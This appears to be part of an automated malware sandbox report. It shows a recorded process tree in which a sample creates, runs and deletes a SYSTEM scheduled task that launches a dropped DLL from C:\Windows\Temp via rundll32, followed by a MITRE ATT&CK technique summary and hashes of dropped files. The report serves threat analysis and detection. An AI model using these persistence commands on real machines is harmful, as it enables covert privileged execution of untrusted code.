                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                              schtasks /CREATE /TN "rrqYunoktxOQmCoCX" /SC once /ST 01:00:41 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\WPGfhLqOzAIwKSwi\bLgdAjYJ\IFKYPOA.dll\",#1 /xdidSPSd 385118" /V1 /F
                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                                                                                                              PID:4604
                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                              schtasks /run /I /tn "rrqYunoktxOQmCoCX"
                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                PID:6132
                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                schtasks /DELETE /F /TN "XyyyteIMwZeutaZuw"
                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                  PID:2472
                                                                                                                                                                                                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                  PID:1492
                                                                                                                                                                                                                                                                                • C:\Windows\system32\rundll32.EXE
                                                                                                                                                                                                                                                                                  C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\WPGfhLqOzAIwKSwi\bLgdAjYJ\IFKYPOA.dll",#1 /xdidSPSd 385118
                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                    PID:4652
                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                      C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\WPGfhLqOzAIwKSwi\bLgdAjYJ\IFKYPOA.dll",#1 /xdidSPSd 385118
                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                        PID:436
                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                          schtasks /DELETE /F /TN "rrqYunoktxOQmCoCX"
                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                            PID:5464

                                                                                                                                                                                                                                                                                      Network

                                                                                                                                                                                                                                                                                      MITRE ATT&CK Enterprise v15

                                                                                                                                                                                                                                                                                      Reconnaissance

                                                                                                                                                                                                                                                                                      Resource Development

                                                                                                                                                                                                                                                                                      Initial Access

                                                                                                                                                                                                                                                                                      Execution

                                                                                                                                                                                                                                                                                      Command and Scripting Interpreter

                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                      T1059

                                                                                                                                                                                                                                                                                      PowerShell

                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                      T1059.001

                                                                                                                                                                                                                                                                                      Scheduled Task/Job

                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                      T1053

                                                                                                                                                                                                                                                                                      Persistence

                                                                                                                                                                                                                                                                                      Boot or Logon Autostart Execution

                                                                                                                                                                                                                                                                                      3
                                                                                                                                                                                                                                                                                      T1547

                                                                                                                                                                                                                                                                                      Registry Run Keys / Startup Folder

                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                      T1547.001

                                                                                                                                                                                                                                                                                      Winlogon Helper DLL

                                                                                                                                                                                                                                                                                      2
                                                                                                                                                                                                                                                                                      T1547.004

                                                                                                                                                                                                                                                                                      Create or Modify System Process

                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                      T1543

                                                                                                                                                                                                                                                                                      Windows Service

                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                      T1543.003

                                                                                                                                                                                                                                                                                      Pre-OS Boot

                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                      T1542

                                                                                                                                                                                                                                                                                      Bootkit

                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                      T1542.003

                                                                                                                                                                                                                                                                                      Scheduled Task/Job

                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                      T1053

                                                                                                                                                                                                                                                                                      Privilege Escalation

                                                                                                                                                                                                                                                                                      Abuse Elevation Control Mechanism

                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                      T1548

                                                                                                                                                                                                                                                                                      Bypass User Account Control

                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                      T1548.002

                                                                                                                                                                                                                                                                                      Boot or Logon Autostart Execution

                                                                                                                                                                                                                                                                                      3
                                                                                                                                                                                                                                                                                      T1547

                                                                                                                                                                                                                                                                                      Registry Run Keys / Startup Folder

                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                      T1547.001

                                                                                                                                                                                                                                                                                      Winlogon Helper DLL

                                                                                                                                                                                                                                                                                      2
                                                                                                                                                                                                                                                                                      T1547.004

                                                                                                                                                                                                                                                                                      Create or Modify System Process

                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                      T1543

                                                                                                                                                                                                                                                                                      Windows Service

                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                      T1543.003

                                                                                                                                                                                                                                                                                      Scheduled Task/Job

                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                      T1053

                                                                                                                                                                                                                                                                                      Defense Evasion

                                                                                                                                                                                                                                                                                      Abuse Elevation Control Mechanism

                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                      T1548

                                                                                                                                                                                                                                                                                      Bypass User Account Control

                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                      T1548.002

                                                                                                                                                                                                                                                                                      File and Directory Permissions Modification

                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                      T1222

                                                                                                                                                                                                                                                                                      Hide Artifacts

                                                                                                                                                                                                                                                                                      2
                                                                                                                                                                                                                                                                                      T1564

                                                                                                                                                                                                                                                                                      Hidden Files and Directories

                                                                                                                                                                                                                                                                                      2
                                                                                                                                                                                                                                                                                      T1564.001

                                                                                                                                                                                                                                                                                      Impair Defenses

                                                                                                                                                                                                                                                                                      3
                                                                                                                                                                                                                                                                                      T1562

                                                                                                                                                                                                                                                                                      Disable or Modify Tools

                                                                                                                                                                                                                                                                                      3
                                                                                                                                                                                                                                                                                      T1562.001

                                                                                                                                                                                                                                                                                      Modify Registry

                                                                                                                                                                                                                                                                                      11
                                                                                                                                                                                                                                                                                      T1112

                                                                                                                                                                                                                                                                                      Pre-OS Boot

                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                      T1542

                                                                                                                                                                                                                                                                                      Bootkit

                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                      T1542.003

                                                                                                                                                                                                                                                                                      Virtualization/Sandbox Evasion

                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                      T1497

                                                                                                                                                                                                                                                                                      Credential Access

                                                                                                                                                                                                                                                                                      Unsecured Credentials

                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                      T1552

                                                                                                                                                                                                                                                                                      Credentials In Files

                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                      T1552.001

                                                                                                                                                                                                                                                                                      Discovery

                                                                                                                                                                                                                                                                                      Peripheral Device Discovery

                                                                                                                                                                                                                                                                                      2
                                                                                                                                                                                                                                                                                      T1120

                                                                                                                                                                                                                                                                                      Query Registry

                                                                                                                                                                                                                                                                                      7
                                                                                                                                                                                                                                                                                      T1012

                                                                                                                                                                                                                                                                                      System Information Discovery

                                                                                                                                                                                                                                                                                      7
                                                                                                                                                                                                                                                                                      T1082

                                                                                                                                                                                                                                                                                      Virtualization/Sandbox Evasion

                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                      T1497

                                                                                                                                                                                                                                                                                      Lateral Movement

                                                                                                                                                                                                                                                                                      Collection

                                                                                                                                                                                                                                                                                      Data from Local System

                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                      T1005

                                                                                                                                                                                                                                                                                      Command and Control

                                                                                                                                                                                                                                                                                      Web Service

                                                                                                                                                                                                                                                                                      1
                                                                                                                                                                                                                                                                                      T1102

                                                                                                                                                                                                                                                                                      Exfiltration

                                                                                                                                                                                                                                                                                      Impact

                                                                                                                                                                                                                                                                                      Replay Monitor

                                                                                                                                                                                                                                                                                      Loading Replay Monitor...

                                                                                                                                                                                                                                                                                      Downloads

                                                                                                                                                                                                                                                                                      • C:\$RECYCLE.BIN\S-1-5-18\desktop.ini
                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                        129B

                                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                                        a526b9e7c716b3489d8cc062fbce4005

                                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                                        2df502a944ff721241be20a9e449d2acd07e0312

                                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                                        e1b9ce9b57957b1a0607a72a057d6b7a9b34ea60f3f8aa8f38a3af979bd23066

                                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                                        d83d4c656c96c3d1809ad06ce78fa09a77781461c99109e4b81d1a186fc533a7e72d65a4cb7edf689eeccda8f687a13d3276f1111a1e72f7c3cd92a49bce0f88

                                                                                                                                                                                                                                                                                        Download Submit

                                                                                                                                                                                                                                                                                      • C:\Program Files (x86)\rover\Come\Come.001.png
                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                        2KB

                                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                                        8d0dfb878717f45062204acbf1a1f54c

                                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                                        1175501fc0448ad267b31a10792b2469574e6c4a

                                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                                        8cf6a20422a0f72bcb0556b3669207798d8f50ceec6b301b8f0f1278b8f481f9

                                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                                        e4f661ba8948471ffc9e14c18c6779dba3bd9dcc527d646d503c7d4bdff448b506a7746154380870262902f878275a8925bf6aa12a0b8c6eb8517f3a72405558

                                                                                                                                                                                                                                                                                        Download Submit

                                                                                                                                                                                                                                                                                      • C:\Program Files (x86)\rover\Come\Come.002.png
                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                        2KB

                                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                                        da104c1bbf61b5a31d566011f85ab03e

                                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                                        a05583d0f814685c4bb8bf16fd02449848efddc4

                                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                                        6b47ad7fe648620ea15b9c07e62880af48a504b83e8031b2521c25e508aa0ef1

                                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                                        a8e27abefb0f5bfffe15a19fd882b2e112687abe6ac4bbd5187036cb6058b0124d6ce76fc9227970c8fe2f5768aa0d1faa3319d33b1f42413e8bdfe2ce15296d

                                                                                                                                                                                                                                                                                        Download Submit

                                                                                                                                                                                                                                                                                      • C:\Program Files (x86)\rover\Come\Come.004.png
                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                        2KB

                                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                                        f57ff98d974bc6b6d0df56263af5ca0d

                                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                                        2786eb87cbe958495a0113f16f8c699935c74ef9

                                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                                        9508d82995364556a882c54306210e885868a8df2f2ad93485c14f88c9f9e1b7

                                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                                        1d4ca268d1c98ac545008b079076609e18bfdf22cd31b7b75b9218d03c6edb37b245298ff717e48309ca862f973a4383b101e43732a162b4d7f78573612c64ea

                                                                                                                                                                                                                                                                                        Download Submit

                                                                                                                                                                                                                                                                                      • C:\Program Files (x86)\rover\Come\Come.005.png
                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                        2KB

                                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                                        7fb2e99c5a3f7a30ba91cb156ccc19b7

                                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                                        4b70de8bb59dca60fc006d90ae6d8c839eff7e6e

                                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                                        40436d5ab3589d33dae09b470ccacd369422d2569804cf1532e5946fc7e45535

                                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                                        c0d83325928d629abba648360c8687091d18d52991297d69625ccd4617d4d5add4aa16c288cc408b26c79cd37decf5ee2198e8b87b67ef5b88802afae93fb51a

                                                                                                                                                                                                                                                                                        Download Submit

                                                                                                                                                                                                                                                                                      • C:\Program Files (x86)\rover\Come\Come.006.png
                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                        3KB

                                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                                        a49c8996d20dfb273d03d2d37babd574

                                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                                        96a93fd5aa1d5438217f17bffbc26e668d28feaf

                                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                                        f4c568336894b3140f0ca7005a5751ad5a860422290b2b6e23d72656160862b1

                                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                                        9abb666891fa00ae77801fe9b3aab62bca37402197d22983e98d8442e6d890b1091a47dc1eca1ac68caa52a633bb60c8c3248de65056a6435f4affb98f401a30

                                                                                                                                                                                                                                                                                        Download Submit

                                                                                                                                                                                                                                                                                      • C:\Program Files (x86)\rover\Come\Come.007.png
                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                        3KB

                                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                                        e65884abe6126db5839d7677be462aba

                                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                                        4f7057385928422dc8ec90c2fc3488201a0287a8

                                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                                        8956643da83aa74bc89b4d71db7b470200863de230be647a6881d8f3f60df3ac

                                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                                        7285b8acca0210a85dd4317a7beab161708544c4c25a742ce7284b545fa4953be89eb685e62f30fba56d6cb2fc806062ccdf4a0e62516eea047097c6856900c2

                                                                                                                                                                                                                                                                                        Download Submit

                                                                                                                                                                                                                                                                                      • C:\Program Files (x86)\rover\Come\Come.008.png
                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                        3KB

                                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                                        f355305ada3929ac1294e6c38048b133

                                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                                        a488065c32b92d9899b3125fb504d8a00d054e0e

                                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                                        37de9b0126ffa3967455083dd72ba70501b1e4c92ae25eb0667f840911585775

                                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                                        6082003d98022597007623ff7cdece9d9a14ad19bf55ac35afb2277fe22378c865899a5b28b4b5828d0d48fb7859fea82886d98d8d3a3813413f1e864e3849b2

                                                                                                                                                                                                                                                                                        Download Submit

                                                                                                                                                                                                                                                                                      • C:\Program Files (x86)\rover\Come\Come.009.png
                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                        3KB

                                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                                        1d812d808b4fd7ca678ea93e2b059e17

                                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                                        c02b194f69cead015d47c0bad243a4441ec6d2cd

                                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                                        e4e2fe6652557dec0e703da7325808cab4722961398dc9bf9fdae36c1de8841d

                                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                                        a8781c78d7d23f70f7450e749732d2909447cfa194d8e49a899c77f808e735878da8d838eecb4e8db7470d040800ae45f977d5f208bfad6c15d62d6456611e84

                                                                                                                                                                                                                                                                                        Download Submit

                                                                                                                                                                                                                                                                                      • C:\Program Files (x86)\rover\Come\Come.010.png
                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                        3KB

                                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                                        e0436699f1df69af9e24efb9092d60a9

                                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                                        d2c6eed1355a8428c5447fa2ecdd6a3067d6743e

                                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                                        eeae94fa4ddca88b0fefec2e449064ea1c6d4c8772762bb900dc7752b68706e4

                                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                                        d6b4adf98c9deb784be1f775a138a7252b558b9d9443a8a3d1435043196738b1ea32439cd09c507d0e2a074a5ba2973e7ffce6c41b26e17460b7695428666cbf

                                                                                                                                                                                                                                                                                        Download Submit

                                                                                                                                                                                                                                                                                      • C:\Program Files (x86)\rover\Come\Come.011.png
                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                        3KB

                                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                                        f45528dfb8759e78c4e933367c2e4ea8

                                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                                        836962ef96ed4597dbc6daa38042c2438305693a

                                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                                        31d92998e8e9de48700039027a935b5de3242afd4938e6b10509dc87d84eb758

                                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                                        16561ca527e2081519decbc0fb04b9955b398eb97db7a3d442500b6aefcb4e620bebd87d7c8ddad2cf940035710fc5a000b59d7ed5d0aa06f3af87e9eebcb523

                                                                                                                                                                                                                                                                                        Download Submit

                                                                                                                                                                                                                                                                                      • C:\Program Files (x86)\rover\Come\Come.012.png
                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                        3KB

                                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                                        195bb4fe6012b2d9e5f695269970fce5

                                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                                        a62ef137a9bc770e22de60a8f68b6cc9f36e343b

                                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                                        afa59cb80b91e29360a95746979be494bdee659d9b8bfad65782b474273d5e62

                                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                                        8fbe3ca2950261d976b80efd6a8d36d4a47b445a3e4669e100ce8c5d2a1f692e7b40ab324494a6de7847861d99194e13344a84aa135e458924b95fadf3905fd4

                                                                                                                                                                                                                                                                                        Download Submit

                                                                                                                                                                                                                                                                                      • C:\Program Files (x86)\rover\Come\Come.013.png
                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                        3KB

                                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                                        3c0ef957c7c8d205fca5dae28b9c7b10

                                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                                        4b5927bf1cf8887956152665143f4589d0875d58

                                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                                        3e6a44a4e993d70a2f8409b4194fa15551d5f7a3651a5d1e74d3c6b640da08c7

                                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                                        bf2a5dd182c7cce4f6d00a4a1738f3a777b61c612c2449716b0fa62c62570ca1c21ac0063c221923e5db3b4101a4e7e32e711c9bfa075a2949ea9fa2e51ca704

                                                                                                                                                                                                                                                                                        Download Submit

                                                                                                                                                                                                                                                                                      • C:\Program Files (x86)\rover\Come\Come.014.png
                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                        3KB

                                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                                        2445d5c72c6344c48065349fa4e1218c

                                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                                        89df27d1b534eb47fae941773d8fce0e0ee1d036

                                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                                        694d6774638b36148f7a1b14809a025a16895ad4ec8645a6db2fe9cd5f784dbb

                                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                                        d8134a66845c71d633f56e5fd656d545f09dad82d18ec21a7415f825cb6c0634ed775008c6fdea83dfec95ce659144e6de806edac620f389fcc3064683c3a7b3

                                                                                                                                                                                                                                                                                        Download Submit

                                                                                                                                                                                                                                                                                      • C:\Program Files (x86)\rover\Come\Come.015.png
                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                        3KB

                                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                                        678d78316b7862a9102b9245b3f4a492

                                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                                        b272d1d005e06192de047a652d16efa845c7668c

                                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                                        26fab597e882c877562abea6b13557c60d3ed07fd359314cdc3a558f8224266b

                                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                                        cb6154e67ea75612dddd426e448f78c87946b123ff7b81f3fc83444adac4692bb5f3a04038291d9df7e102a301e41541a10e709e8adfde376016d86de15087db

                                                                                                                                                                                                                                                                                        Download Submit

                                                                                                                                                                                                                                                                                      • C:\Program Files (x86)\rover\Come\Come.016.png
                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                        3KB

                                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                                        aa4c8764a4b2a5c051e0d7009c1e7de3

                                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                                        5e67091400cba112ac13e3689e871e5ce7a134fe

                                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                                        1da7b39ec5f3cad19dc66f46fee90c22a5a023a541eca76325074bee5c5a7260

                                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                                        eea254f7327639999f68f4f67308f4251d900adb725f62c71c198d83b62aa3215f2ce23bd679fddde6ac0c40a5c7b6b04800bc069f2940e21e173b830d5762e2

                                                                                                                                                                                                                                                                                        Download Submit

                                                                                                                                                                                                                                                                                      • C:\Program Files (x86)\rover\Come\Come.017.png
                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                        4KB

                                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                                        7c216e06c4cb8d9e499b21b1a05c3e4a

                                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                                        d42dde78eb9548de2171978c525194f4fa2c413c

                                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                                        0083bb52df2830f2fc0e03ffa861728916e3f1a6db3560e66adbca9716318ee3

                                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                                        6ffbcc1c6ad1a0c01a35fdbf14918dfc9e2026a3021e3b6d761d56f4006b4218ffc2278eb2f820ae54722cd0c35fde40ca715154f6e2ae6c24aef0724d0ed004

                                                                                                                                                                                                                                                                                        Download Submit

                                                                                                                                                                                                                                                                                      • C:\Program Files (x86)\rover\Come\Come.018.png
                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                        4KB

                                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                                        e17061f9a7cb1006a02537a04178464d

                                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                                        810b350f495f82587134cdf16f2bd5caebc36cf5

                                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                                        9049038f58e048cc509bcc51434119465c376700ec45bedfd1d8f45440bdc32a

                                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                                        d5b899109a16195d3fdb8f23382b48bab70dfcd0c823a03a0cdc4e50501812fc644b938839c3346e8aabc2925ce3bdebffad07ef2f90d291663275ba3d225ab3

                                                                                                                                                                                                                                                                                        Download Submit

                                                                                                                                                                                                                                                                                      • C:\Program Files (x86)\rover\Come\Come.019.png
                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                        3KB

                                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                                        63dbf53411402e2a121c3822194a1347

                                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                                        86a2e77e667267791054021c459c1607c9b8dbb6

                                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                                        47b80b828244964005bd947b80958f3aa6372b843dc088e33fbbd35ab3f785c5

                                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                                        4b4603d88bddcb86e4282dafd55d8f00b852464daab588a554db829af566d5aa6baa3d575c58b133276be22203c014de73c0c3e35bfbe53570c356ef47bb5a50

                                                                                                                                                                                                                                                                                        Download Submit

                                                                                                                                                                                                                                                                                      • C:\Program Files (x86)\rover\Speak\Speak.001.png
                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                        3KB

                                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                                        0197012f782ed1195790f9bf0884ca0d

                                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                                        fc0115826fbaf8cefa478e506b46b7b66a804f13

                                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                                        c999fa6fd26a4a2af2155bd05522b44b54d6df90d1a9703a288bdf18b623c2cc

                                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                                        614bce1f761871ba1113de49217725b7b6661c703b03864cef736f44e2d1e0c5fbe133966d24afb15900f0e4da16b24000a2a638b6d7839848874f386b3b81c1

                                                                                                                                                                                                                                                                                        Download Submit

                                                                                                                                                                                                                                                                                      • C:\Program Files (x86)\rover\Speak\Speak.002.png
                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                        3KB

                                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                                        b45ff2750a41e0d8ca6a597fbcd41b57

                                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                                        cf162e0371a1a394803a1f3145d5e9b7cddd5088

                                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                                        727a2aac0697bcfecdc56dc4507516f9f64c5faa426f0ce69f7e607b74c4e1f4

                                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                                        82a9a3fc7dfae0ed6bf665c4f369f053af372551c1871d6b3dc775f447ba727e921ab831f8acd712cc31b66156eac643859404f05386e2592a15954fb78d87a3

                                                                                                                                                                                                                                                                                        Download Submit

                                                                                                                                                                                                                                                                                      • C:\Program Files (x86)\rover\Speak\Speak.003.png
                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                        3KB

                                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                                        95113a3147eeeb845523bdb4f6b211b8

                                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                                        f817f20af3b5168a61982554bf683f3be0648da1

                                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                                        800f0c501905bc4257415ee8bed738f897273600c721e80a15bcfbb2e2b3b847

                                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                                        4e55d9ced90f255b20890595f8e07ccaeedcbe08aed6303336eae7f66df1e50429259b62c556d5d8b179f7f9be22216c1592ba772e2cebd257b3401109f45cc4

                                                                                                                                                                                                                                                                                        Download Submit

                                                                                                                                                                                                                                                                                      • C:\Program Files (x86)\rover\Speak\Speak.004.png
                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                        3KB

                                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                                        8ce29c28d4d6bda14b90afb17a29a7f9

                                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                                        94a28ce125f63fcd5c7598f7cb9e183732ebdc16

                                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                                        eb9abbeddd27ce6fa82f1f7437309209450f9f8412eb395923a45d946d9c50b1

                                                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                                                        037babd109af1a2c05d7db87536bec41e3075d1120a37384d66f9460d8790be5732f8bbe6a2a13db3d017806fed88945f2a98697b586284b62760252276a8077

                                                                                                                                                                                                                                                                                        Download Submit

                                                                                                                                                                                                                                                                                      • C:\Program Files (x86)\rover\Speak\Speak.005.png
                                                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                                                        3KB

                                                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                                                        83ddcf0464fd3f42c5093c58beb8f941

                                                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                                                        e8516b6468a42a450235bcc7d895f80f4f1ca189

                                                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                                                        ebb3efda95b2d2588983742f96f51bdbcb9d87a6949f2c37ea11f509d236a536

